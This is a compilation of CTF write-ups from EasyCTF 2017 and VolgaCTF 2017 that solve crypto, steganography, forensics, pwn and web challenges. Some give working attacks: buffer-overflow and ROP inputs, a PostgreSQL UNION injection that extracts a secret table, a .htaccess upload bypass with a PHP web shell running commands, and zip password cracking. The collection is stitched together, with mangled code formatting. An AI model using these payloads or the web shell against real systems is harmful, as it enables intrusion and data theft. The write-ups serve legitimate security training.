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[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-genius.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-genius.md) |
# Flag PEG - 150 Points
We found a flag but it didn't do anything. Maybe you can find a better [flag](https://github.com/VoidMercy/easyctf-2017-problems/blob/master/flag-peg/heresaflag.jpg?raw=true)?
### Solution
###### Writeup by VoidMercy from phsst
We were given a .jpg file.
We ran binwalk on this file and obtained a zip containing a file named "KHgrbikqKC0xKV5u". This base64 decodes to: (x+n)*(-1)^n.
We were not really sure what this meant, but we do see that (-1)^n means something is alternating. We thought the bytes in the extracted file were alternating somehow and tested this idea. We see that the first byte is 89 in the extracted file. We immediately thought that this might be an encrypted PNG file. Looking up the file header and comparing it to the bytes in the beginning of the extracted file, we found that:
Starting from the first byte, and skipping every other byte, the difference between the PNG header and this is 0, 2, 4, etc..Starting from the second byte, and skipping every other byte, the difference between the PNG header and this is 255, 253, 251, etc..
Now we can be fairly sure that the file was encrypted in this way. Here is my script:
```pythonimport struct
def bytes_from_file(filename): with open(filename, "rb") as f: while True: byte = f.read(1) if not byte: break yield(ord(byte))
n = 0c = 0tot = 155553listofbytes = []shit = ['0'] * totfor b in bytes_from_file('KHgrbikqKC0xKV5u'): listofbytes.append(b)print (listofbytes[0])outFile = open("out", "wb")while (c < 155553): byte = (listofbytes[c] - n) % 256 shit[c] = byte c += 2 n += 2c = 1n = 255while (c < 155553): byte = (n - listofbytes[c]) % 256 if (byte < 0): byte += 256 shit[c] = byte c += 2 n -= 2for a in shit: outFile.write(chr(a))print ("done")outFile.close()```
Here is the output:
## Flag
>easyctf{1_wr073_7h15_1n_m5p41n7} |
# Bizarro - 400 Points
Something seems very strange about [this](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/bizarro/crpt.png) strange looking image. Check it out?
### Solution
###### Writeup by VoidMercy from phsst
We were given an image.
We put the image into stegsolve and in the red plain, we can see a qr code. We decoded the QR code and got:
```CI XCVII CXV CXXI XCIX CXVI CII CXXIII CXVI CIV CV CXV XCV CV CXV XCV CX CXI CXVI XCV CXVI CIV CI XCV CII CVIII XCVII CIII CXXV XXXII CV XXXII CVII CX CXI CXIX XXXII CXVI CIV CV CXV XXXII CII CVIII XCVII CIII XXXII CV CXV XXXII CXIX CI CV CXIV C XXXII CV XXXII CVI CXVII CXV CXVI XXXII XCIX XCVII CX XXXIX CXVI XXXII CXII CXVII CXVI XXXII CIX CXXI XXXII CII CV CX CIII CI CXIV XXXII CXI CX XXXII CXIX CIV CXXI```
Then we translated the roman numerals to numbers, and converted that to ascii and got:
easyctf{this_is_not_the_flag} i know this flag is weird i just cant put my finger on why
So we got a red herring. Then, looking at the hint: "Red Herrings are always a _touchy_ subject", and "take a blind guess" and "stumble," we surmised that this problem is somewhat related to braille.
We then saw that the error correction level of this QR code is H and the mask is 6. Since the error correction level is high, there might be differences. We generated a QR with the same text, mask, and error correction level, then compared the two. We see that there are differences.
I cropped out this 89x11 section of the original qr code, and then wrote a script to decode braille on this qr code. Here is my script to extract the binary of the file, then decode it from braille
```pythonfrom PIL import Image
def get(x, y, pic): c = pic.getpixel((x, y)) if (c == (0, 0, 0)): return '1' return '0'
pic = Image.open("qr1.png").convert("RGB")width, height = pic.sizetotal = ""for i in range(height): gu = "" for a in range(width): gu += get(a, i, pic) total += get(a, i, pic) print(gu)print ("done")print (total)```
```pythondata = "0000011010110011001101010001100101110100100011000000100100010101101111001011101001001000000111100111001001101010001000100110001101001101001001100111101011001001001110001010101000001111000110000110101001001000000110101101111100000111101110001001101110101001001101101010001011101000001100001001000111101001111001001011101001101000111100001011001101111010001011101000000110001010101010100111101011001011101001001001001110001000001000101001001111101110001001101000111011101100001001111001001011101001101101000111101011001011101001001001000110000110100110101001111001001011101001101001111001001011101001101110001000001000001000001000001000101001001000111101101101001001001011100110101100001001101011101001001001001110001100001001001001001000001100001000001100001010101001100110101001001010001011101000001100001001001100101000001000101001000110101000111011101001000111101001101100001011001000001101101111001001000111101011001001001101101000111100101010001001001011100110101011000000100001"print (data)
braille = {'100000' : 'a', '101000' : 'b', '110000' : 'c', '110100' : 'd', '100100' : 'e', '111000' : 'f', '111100' : 'g', '101100' : 'h', '011000' : 'i', '011100' : 'j', '100010' : 'k', '101010' : 'l', '110010' : 'm', '110110' : 'n', '100110' : 'o', '111010' : 'p', '111110' : 'q', '101110' : 'r', '011010' : 's', '011110' : 't', '100011' : 'u', '101011' : 'v', '011101' : 'w', '110011' : 'x', '110111' : 'y', '100111' : 'z', '010111' : '#'}
ans = ""a = 0while (a < len(data)): if (a + 5 < len(data)): #temp = data[a + 1] + data[a + 3] + data[a + 5] + data[a + 0] + data[a + 2] + data[a + 4] temp = data[a + 0] + data[a + 1] + data[a + 2] + data[a + 3] + data[a + 4] + data[a + 5] #temp = data[a + 0] + data[a + 2] + data[a + 4] + data[a + 1] + data[a + 3] + data[a + 5] #temp = data[a + 1] + data[a + 3] + data[a + 5] + data[a + 0] + data[a + 2] + data[a + 4] #temp.replace("0", "a").replace("1", "0").replace("a", "1") print (temp) try: print (braille[temp]) ans += braille[temp] except: ans += "|" a += 6print (ans)```
From this we get:easyctfopenbracetzerouchybraillthreefakeqfourczerodthreeisszerozerofaaaakeunderscoreefceeacaclosebracemakesuretochangethenumbersTranslating this, we get the flag.
## Flag
>easyctf{t0uchybraill3fakeq4c0d3iss00faaaake_efceeaca} |
# Phunky Python 2 - 115 Points
We stumbled across another phunky Python file. Can you find the redacted value of jkx that makes this program print True?
### Solution
###### Writeup by VoidMercy from phsst
We were given a python program shown below:
```pythonimport operatorjkx = 0 # REDACTEDpork = (((12 * jkx) + 44) / 4) - (2 * jkx) - 12jkx = jkx * porkpp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx))))) numbequalto = 298142533459972353125216208611896260313759854634379454017626913019869030523755628601926829163490056136759291154170246269588079406415640897289723163043052735571403370823999085880254558960787830191426580931166730005416850884124181616949102806794078012758190650585958197054633549146371576221689963259346156534026838740762695201862923852711351603315111735215388452000print (b == numbequalto)```
We had to find the value of jkx in order to make the program print true. We start reversing what the program does.
First we had to find what b is equal to. After playing around with the functions in python's shell, we find that for each character in jkx, b is equail to pp[i] to the power of that character, all of these multiplied by each other.
Then we have to find what pp is. We simply printed pp after it is computed, and got a list of the first 1229 primes. This list will be constant every time, so we can just use this in our solution.
Then, after simplifying pork, we find that pork = jkx - 1.
Now we know what every line in this program does. We just have to find out what numbers in list pp multiplied by each other would equal to "numbequalto".
Here is my script to find this:
```pythonlst = REMOVED #I removed this because it was very big :p basically it's just the list of the first 1229 primesnumbequalto = 298142533459972353125216208611896260313759854634379454017626913019869030523755628601926829163490056136759291154170246269588079406415640897289723163043052735571403370823999085880254558960787830191426580931166730005416850884124181616949102806794078012758190650585958197054633549146371576221689963259346156534026838740762695201862923852711351603315111735215388452000print (len(lst))#length of 1229counter = 0flag = "0" * 1229flag = list(flag)for i in lst: counter += 1 times = 0 while (numbequalto % i == 0): times += 1 numbequalto = numbequalto / i if (times != 0): print (str(i) + " " + str(counter - 1) + " " + str(times)) flag[counter - 1] = str(times)print (numbequalto)print ("".join(flag))```
The result is:
```55394379648894917577198360684718697256000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000```
Because b is multiplied by pp[index] ^ number, if number is zero, this line will do nothing since b will be multiplied by 1. Therefore, we can remove all of the trailing zeroes and obtain the number: 55394379648894917577198360684718697256
Now because jkx is multiplied by pork, which is jkx - 1, we have to find the original jkx. We can solve for this by using:
jkx * (jkx - 1) = 55394379648894917577198360684718697256
jkx ^ 2 - jkx - 55394379648894917577198360684718697256 = 0
I plugged this into wolfram alpha, and obtained the flag.
## Flag
>7442740063235778328 |
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-flip-my-letters.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/crypto/easyctf2017-flip-my-letters.md) |
[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/forensics/easyctf2017-my-usb.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/forensics/easyctf2017-my-usb.md) |
# Flag Collection
Here's a collection of flags! I think you're looking for a specific one, though...
## Solution
We are given a zip file flags.zip, that when unpacked contain a lot of files depictingdifferent flags from around the world.
There is also a Thumbs.db file, which is a file windows use to catalog thumbnails fordirectory views.
We rename it on our linux machine to thumbmofo.db in order to prevent windows from hiding it and making it a systemfile.
We go back to windows and use the program https://thumbsviewer.github.io/ in order toview the thumbmofo.db content. Which presents us with a lot of thumbnail images ofdifferent flags.
In addition to the flags we already seen, it also has a thumbnail of a flag thatapparantly got deleted after the Thumbs.db got created.
This thumbnail image contains our flag, which is a QR Code.
We scan it and get the fore real flag!
*easyctf{thumbs.db_c4n_b3_useful}*
|
# Doubly Dangerous - 110 Points
There seems to be an issue with [this](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/doubly-dangerous/doubly_dangerous?raw=true) binary. Can you exploit it?
### Solution
###### Writeup by VoidMercy from phsst
We were given a binary.
We first run it to see what it does
```Give me a string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnope!Segmentation fault```
Seems like a buffer overflow because there was a segmentation fault. This means gets() was probably used, and gets() does not care about the length of the string we input. Now let's take a look at the code in gdb with
```gdb doubly_dangerousset disassembly-flavor inteldisas main```
Here is the interesting instruction:
```0x0804863c <+53>: fld DWORD PTR [ebp-0xc]0x0804863f <+56>: fld DWORD PTR ds:0x804876c0x08048645 <+62>: fucomip st,st(1)```
We can see that fucomip is being used, which is floating point instructions. We surmise that we need to make this compare return true. We can see that the value at 0x804876c is being compared to the value at ebp-0xc. Because we saw a segmentation fault, we know this consists of an overflow. We experiment with the amount of bytes to type until the value at ebp-0xc is overflowed.
```python -c "print 'A'*69" > temp
(gdb) r < temp...Breakpoint 1, 0x08048686 in main ()(gdb) x/10wx $ebp-0xc0xffffd0dc: 0x41414141 0xf7fc0041 0xffffd100 0x000000000xffffd0ec: 0xf7e31a83 0x08048690 0x00000000 0x000000000xffffd0fc: 0xf7e31a83 0x00000001```
Alright, we can see that 69 characters overflows the content at ebp-0xc and 1 extra character. This means we need 64 characters to get the ebp-0xc, and then with the next four characters, we can control what value to place in $ebp-0xc. Now, we need to check what value to replace it with.
```(gdb) x/10wx 0x804876c0x804876c: 0x41348000 0x3b031b01 0x00000030 0x000000050x804877c: 0xfffffc60 0x0000004c 0xfffffe0b 0x000000700x804878c: 0xfffffe97 0x00000090```
We can see the value we need is 0x41348000. Now we can construct our exploit.
```python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous```
```python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerousGive me a string: Success! Here is your flag:easyctf{bofs_and_floats_are_d0uble_tr0uble!}```
## Flag
>easyctf{bofs_and_floats_are_d0uble_tr0uble!} |
# Simple ROP - 120 Points
Read flag.txt
[Source](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/simple-rop/simple-rop.c)
[Binary](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/simple-rop/simple-rop?raw=true)
### Solution
###### Writeup by VoidMercy from phsst
We were given a binary and it's source code.
```#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <sys/types.h>
void print_flag();void what_did_you_say();
int main(int argc, char* argv[]){ gid_t gid = getegid(); setresgid(gid, gid, gid); what_did_you_say(); return 0;}
void print_flag(){ system("cat flag.txt");}
void what_did_you_say(){ char buff[64]; gets(buff); printf("You said: %s\n", buff);}```
As the problem name suggests, this is a problem that uses ROP. We can see that we have to call the function print_flag() to get the flag, so we first get the address of this function with:
>objdump -d simplerop | grep "print_flag"
We find the address of print_flag to be: 0x804851a
Then, we have to find out the number of characters until we gain control of eip through the return address. Afterwards we append the address of print_flag() in little endian order (reversed order in chunks of 2 bytes), then pipe the input through python (to print the non printable ascii characters).
```python -c 'print "A"*64+"\x1a\x85\x04\x08"' | ./simple-rop #NO SEG FAULT, NOT ENOUGH CHARACTERS
python -c 'print "A"*76+"\x1a\x85\x04\x08"' | ./simple-rop #GOT THE FLAG! 76 IS A PRETTY COMMON SIZE FOR AN ARRAY OF 64 CHARS```
## Flag
>easyctf{r0p_7o_v1ct0ry} |
1. The memory not cleared after garbage collection. So we can leak one byte per time to bypass PIE.2. The pointer to work line are not updated after deletion. So we can insert an egg into the pointer of storage and forge the function pointer.
Since server still available, here is the flag. `flag{7h!s_S1mpl3_G4rbageC0ll3ct!0n_!s_F**k3d_up}` |
# Security Through Obscurity - 150 Points
I've never seen such a cryptosystem before! It looks like a public key cryptosystem, though... Could you help me crack it?
[encrypt.sage](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/security-through-obscurity/encrypt.sage)
[publickey and ciphertext.txt](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/security-through-obscurity/publickey_and_ciphertext.txt)
### Solution
###### Writeup by VoidMercy from phsst
We were given an encryption program, and a publickey and ciphertext shown below:
```pythonp = 196732205348849427366498732223276547339secret = REDACTEDdef calc_root(num, mod, n): f = GF(mod) temp = f(num) return temp.nth_root(n)
def gen_v_list(primelist, p, secret): a = [] for prime in primelist: a.append(calc_root(prime, p, secret)) return a
def decodeInt(i, primelist): pl = sorted(primelist)[::-1] out = '' for j in pl: if i%j == 0: out += '1' else: out += '0' return out
def bin2asc(b): return hex(int(b,2)).replace('0x','').decode('hex')
primelist = [2,3,5,7,11,13,17,19,23,29,31,37,43,47,53,59]message = REDACTEDchunks = []for i in range(0,len(message),2): chunks += [message[i:i+2]]
vlist = gen_v_list(primelist,p,secret)print(vlist)for chunk in chunks: binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1] #lsb first enc = 1 for bit in range(len(binarized)): enc *= vlist[bit]**int(binarized[bit]) enc = enc%p print(enc)```
```p = 196732205348849427366498732223276547339vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]```
Looking at the information provided, we can surmise that we have to find the value for message to make the program output the given ciphertext. "secret" looks like a red herring because it plays no part in the message encryption, as vlist was given to us, and secret was only used to generate vlist. As such, we focus on the latter half of the program.
We can see that each "chunk" is 2 characters of the message, and it iterates through each chunk of 2. Then, this chunk is converted into binary, and padded with zeroes. Then, each bit of this chunk is used to determine the number in vlist to be multiplied into the ciphertext. For example, if the first bit is a 1, then the first element in vlist will be multiplied to the ciphertext. Similarly, if the nth bit is a 1, then the nth element in vlist will be multiplied. Then, enc is modded by p.
Because this program encodes chunks of two, there are only 0xFFFF different possible characters (Two bytes for each character). As such, we can brute force which characters would encrypt to the letter in the ciphertext. Here is my script to do so:
```pythonp = 196732205348849427366498732223276547339ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]
vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]print (vlist)
ans = ("1 " * 40).strip().split(" ")
for i in range(65536): cur = bin(i).replace("0b", "")[::-1] enc = 1 for bit in range(len(cur)): enc *= vlist[bit]**int(cur[bit]) enc = int(enc % p) if (enc in ciphertext): #print (cur[::-1].zfill(16)) temp = cur[::-1].zfill(16) index = ciphertext.index(enc) ans[index] = chr(int(temp[:-8], 2)) + chr(int(temp[8:], 2))print ("".join(ans))```
The result is:```flag{i_actu4lly_d0nt_know_th3_name_of_115_crypt0sy5tem}111111111111```
When we entered this, it didn't work, but we can see that _115_ would make more sense as _th15_. So we changed this, submitted, and it worked. (Don't know why there was a problem... and also this flag doesn't start with easyctf!!!).
## Flag>flag{i_actu4lly_d0nt_know_th3_name_of_th15_crypt0sy5tem} |
# Bloody Feedback, Web, 100pts
## Problem
Bloody Feedback
Send your feedback at bloody-feedback.quals.2017.volgactf.ru
DO. NOT. USE. SQLMAPOtherwise your IP will be banned
## Looking around
When we enter challenge url, nice welcome screen appears
We can send a message and when we did this - we get the page with hash allowing us to check message status:
When we click the link, status of newly added message is shown:
Top messages (at least the last ones) are shown when we get into 'Top messages' tab.
And that's pretty all. Time to get hands dirty.
## Solution
First, I've tried some obvious injections (', ", [] and so on) and parameters manipulation in the url where we can check the status. This quickly get my attention as error message appeared:
```Worker.pm``` looks like Perl script, so I've tried couple of classic Bash injections, but after some time I've realized it wasn't the right exploitation vector. So I've moved to the form.
After several tries and fails, I found ```email``` field was vulnerable for injection. I've created simple injection string (again started to exploit Bash injection):
But when I saw response, I've realized that Bash injection was dead end :)
It was ```PostgreSQL``` SQL injection, with quite verbose error message, so...
Now I needed to figure out, what the flow of queries was.
First query selected email, name and message passed from the form and id and hash generated for the url to check message status. I could add UNION query, but error occurred that number of columns differs:
Ok, there's some empty string appeared as the last value in the first query. Trying to fill this column with something, I send following payload (I've used __user__ PostgreSQL function as the last column value, which should returns username of the current database):
Wow, no error this time! And I get link to check status of the message. I get to this url and:
Bingo!
So the last column was the string describing message status. And it was by default ```not processed``` inserted in second query - and now I could modify its value into something useful.
With some help of awesome __pentestmonkey__ PosgreSQL SQL Injection cheat sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet) I've started to extract all pieces I needed to successfully exploit the challenge and get the flag.
First, let's figure out the name of database (I'll be showing here only POST body, without the headers; I was using Burp Repeater to send requests):
```name=stack&email=', current_database())-- &message=gimmieflag```
Database name was ```feedback_db```.
Next, table name where the flag should be stored:
```name=stack&email=', (SELECT table_schema || '.' || table_nameFROM information_schema.tables WHERE table_catalog LIKE 'feedback_db' LIMIT 1 OFFSET 1))-- &message=gimmieflag
```
I was lucky enough to get correct table name with first try, which was ```public.s3cret_tabl3```.
Now, time for column names:
```name=stack&email=', (SELECT table_name || '.' || column_name FROM information_schema.columns WHERE table_catalog LIKE 'feedback_db' LIMIT 1 OFFSET 6))-- &message=gimmieflag```
The result was ```s3cret_tabl3.s3cr3tc0lumn```. I've used ```OFFSET 6``` here, because first five results were columns from table where messages where stored (I'm pretty sure there is in PostgreSQL something like ```group_concat``` in MySQL, but setting valid limit offset worked for me well).
The last phase was to get the flag from revealed table. First three results did not contain the flag, but fourth one did:
```name=stack&email=', (SELECT s3cr3tc0lumn FROM s3cret_tabl3 LIMIT 1 OFFSET 4))-- &message=gimmieflag```
The flag: __VolgaCTF{eiU7UJhyeu@ud3*}__
|
1. Google for the constants from the python file (0.4829629131445341, 0.8365163037378077, 0.2241438680420134, -0.12940952255126034])2. Find a few pages on Daubechies Wavelets and Discrete Wavelet Transforms (the wikipedia article on DWTs has an image with a similar structure to the given one)3. At this point, we tried dumping the original image to disk, trying to do a single-pass inverse discrete wavelet transform (iwdt), and messing around with switching up some of coefficients/quadrants in the algorithm a. In some cases, we could make out the flag's `VolgaCTF{` header, but the rest of the flag was still too distorted or noisy to read4. We ended up scripting an inverse wavelet transform that iteratively reconstructed the image: [https://gist.github.com/wwong/6a812908a3a06d884ce4b1547c5aeb54](https://gist.github.com/wwong/6a812908a3a06d884ce4b1547c5aeb54) 1. Starting at the top-left 4px by 4px square: reconstruct the image and replace the input section with its own result (plus some padding for alignment) 1. A 4x4 square was the smallest size we could start reconstructing the image 2. We originally padded the wrong ends of the output, which left us with an image that looked like it had been smeared up and left by a few pixels. Switching up the padding fixed that 2. Keep expanding the area we process until we process the whole image 3. Clamp values to something that sci-kit image will export (any |value| < 1) 4. Dump image to file and get the flag |
# Zip Tunnel
Great blazes! Something looks awfully suspicious about this zip file. Can you find out just how deep the rabbit hole goes?
*Hint: Whenever I go to Subway, I get double ham, wamerican, bacon, lettuce, and mayo. No frills.*
## Solution
We are presented with a password protected zip file, so we immediately try to bruteforce it witha dictiontary we got handy. We use the rockyou dictionary for this and we crach the password.
But we are then presented with another zip file, which is also password protected :O. * a pattern emerges *
We will build a script to take care of cracking any further zip files, as we can see by nowthat we likely have to crack 420 zip files all in all.
We will use some perl-fu and produce the following program
```#!/usr/bin/perl
my $JOHN_PATH = "./john/run";my $JOHN_WORDLIST = "./american-english-insane.txt";
my $zipFile = $ARGV[0];
open my $fh,">./pwdlist.txt" or die "Cant open pwdlist.txt for writing!\n";
unless ($zipFile =~ /^level\d+\.zip$/) { print "Make sure the INITIAL zipfile is called level420.zip, rename and try again!\n"; print "You can use this tool starting from whatever zip file levelxxx.zip,\n"; print "but the initial file must be called level420.zip!\n"; exit 0;}
unless ( -e $zipFile) {die "Zip file not found\n";}unless ( -e $JOHN_PATH . "/john") {die "john executable not found, please change \$JOHN_PATH\n";}unless ( -e $JOHN_PATH . "/zip2john") {die "zip2john executable not found, please change \$JOHN_PATH\n";}
while (42) {
my ($number) = ($zipFile =~ /(\d+)/); my $password = "";
my $cmd = "$JOHN_PATH/zip2john level" . $number . ".zip 2>/dev/null > ./zip.hash"; `$cmd`;
$cmd = "$JOHN_PATH/john --wordlist=$JOHN_WORDLIST ./zip.hash"; `$cmd`;
$cmd = "$JOHN_PATH/john --show ./zip.hash"; my $result = `$cmd`;
if ( $result =~ /^level\d+\.zip\:(.*?)\n/gis ) { $password = $1; }
$cmd = "unzip -o -P" . $password . " level" . $number . ".zip"; $result = `$cmd`;
if ( $result =~ /\s+extracting:\s+(.*?)\s*\R/gi ) { $zipFile = $1; } else { last; }
print $number . ":" . $password . "\n"; print $fh $number . ":" . $password . "\n";
}```
We rename the initial zip file to level420.zip and run the program, we however find prettyquickly that our choosen wordlist/disctionary was not up to task cracking any more passwords.
We ponder this for a while and read the hint, which has something about wamerican, which oneof our team mates remembers there is a debian package with that name, which holds theamerican-english-insane.txt dictionary.
Using this, we quite quickly crack the rest of the passwords, except the very last level0.zip,which doesnt seem to answer to either dictionary attacks or bruteforce in a resonable time.
We make one last desperate attpept to take all words from the CTF page, initially we only thought of taking the words in the hint but we opted for taking all words from the ctf siteand make it into a dictionary.
We run john the ripper again with the new dictionary against level0.zip and bingo, it happilyopens op to spill its secrets to us.
The last password was: *easyctf*
Unzipping level0.zip gives us a file called flag.txt which contain
```Congratulations, you've made it to the bottom of the zip tunnel! I've got a flag for you: easyctf{x4m1n3_uR_z1pp34_PDq_17c4ee3}```
Case closed!!
|
### Login
Weak authenticationAfter playing around with the credential fields you get some errors / warnings that tell you the requirements.
**User name:** Must be atleast 4 characters**Password:** Any 8 characters. (If another user is logged in, as that username it may error and say wrong password).
### File upload
Right away redirected to a file upload. Ok lets upload a picture and see what happens, upload freakazoid.png. Can navigate to it and view the picture. Notice everything is PHP. Great lets try a PHP file with command execution inside.
```?cmd=ls` to see if I could get the php to execute my commands. Nothing worked!
I stumbled around for along time, but 2-3 more hours exploring fuctionality of sharing, exploring the `Content-type` field in the `POST` request using burp. Tried LFI, directory traversal.
I openend some php file upload filter evasion links, and read them thoroughly, after playing with the `Content-type` a post about `.htaccess` file types caught my eye. I had NOT tried that. Let's try it.
I Create a blank file called `file.htaccess`. It uploaded! Ok the link said to upload the file `.htaccess` to the server and have the contents:
```AddType application/x-httpd-php .jpgAddType application/x-httpd-php .png```
What does this do? the `AddType` in an `.htaccess` file can tell the webserver to run many other extensions types as PHP, one reason why `.html` files work with PHP inside of them.
Uploading `.htaccess` worked. I then uploaded my PHP code execution file (code above) as the file `file.png`. I navigated to the link from the Files section of the website.
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png`
I then added the parameter (again from the code above) `?cmd=` to the end to verify if PHP would execute.
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png?cmd=ls`
Success!!!!!!
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png?cmd=ls+-al`
Works!
Ok, lets just see if this works:
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png?cmd=locate flag`
Success again! Multiple results! The first is `/opt/flag.txt` lets see what is inside.
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png?cmd=cat%20/opt/flag.txt`
THE FLAG IS IN HERE!!!!
VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP} |
**Points:** 50
Not proud of this one, but it worked. The game is basically like Dance Dance Revolution, but with the space bar, X, and M. When you see S, you type the space bar, and when you see X or M you press that key.
Well, it can get kinda fast at points, so my first thought was to write something to read out the keys and play them back really fast. During testing however I noticed two things:
1. The pattern never changes2. The keys you enter are stored in a buffer and one is grabbed each time it needs a character of input
So basically, since the first few are always `SXM`, I typed those in one after another before the game even asked for input, and it accepted them all when needed. From there it was just a matter of getting as far as I could, writing down the pattern, and typing it in at the beginning.
Not elegant by any means, but it worked.
The pattern is:
`sxmsxmmxsmmxxmxssxm`
And then eventually you find the flag:
`no5c30416d6cf52638460377995c6a8cf5`
There was actually some output after the flag, but I was more interested in attacking other challenges than continuing down this rabbit hole :) |
English: [http://f4lrik.ru/en/share-point-web-200-volgactf-2017/](http://f4lrik.ru/en/share-point-web-200-volgactf-2017/)
Russian: [http://f4lrik.ru/ru/share-point-web-200-volgactf-2017-2/](http://f4lrik.ru/ru/share-point-web-200-volgactf-2017-2/) |
# Volga CTF Quals 2017 Share Point### Category: Web, 200 points
> Look! I wrote a good service for sharing your files with your friends, enjoy)> share-point.quals.2017.volgactf.ru
### Write-upThe share point web application is written in php and enables users to upload and share files. To solve this challenge we need to upload a php shell to the server. The upload form is blacklisting some extensions, such as .php and .html. Chaning theContent-Type in the HTTP POST request doesn't work. We also tried null terminating the filename by adding characters such as \0, %00, " to the end of the file.
The web server is however running apache and allows us to upload a .htaccess file, we can use htaccess to execute otherfile extensions as php. If we want to treat .jpg files as PHP we can upload the .htaccess file below:```AddType application/x-httpd-php .jpg```
After this we uploaded shell.jpg contaning:```php";$cmd = ($_REQUEST['cmd']);system($cmd);echo "";die;}?>```We can now execute shell commands with:http://share-point.quals.2017.volgactf.ru/files/$USERNAME/shell.jpg?cmd=ls
After running "find / -iname \*flag\*" the file /opt/flag.txt was found> VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}
|
# Volga CTF Quals 2017 Keypass### Category: Reverse, 100 points
>For reasons unknown an amature cryptographer wrote an application to generate >"strong encryption keys". One of these keys was used to encrypt a tar archive >with the flag. They used openssl command line util with -aes-128-cbc. >Could you please get the flag? It shouldn't take much time...
### Write-up
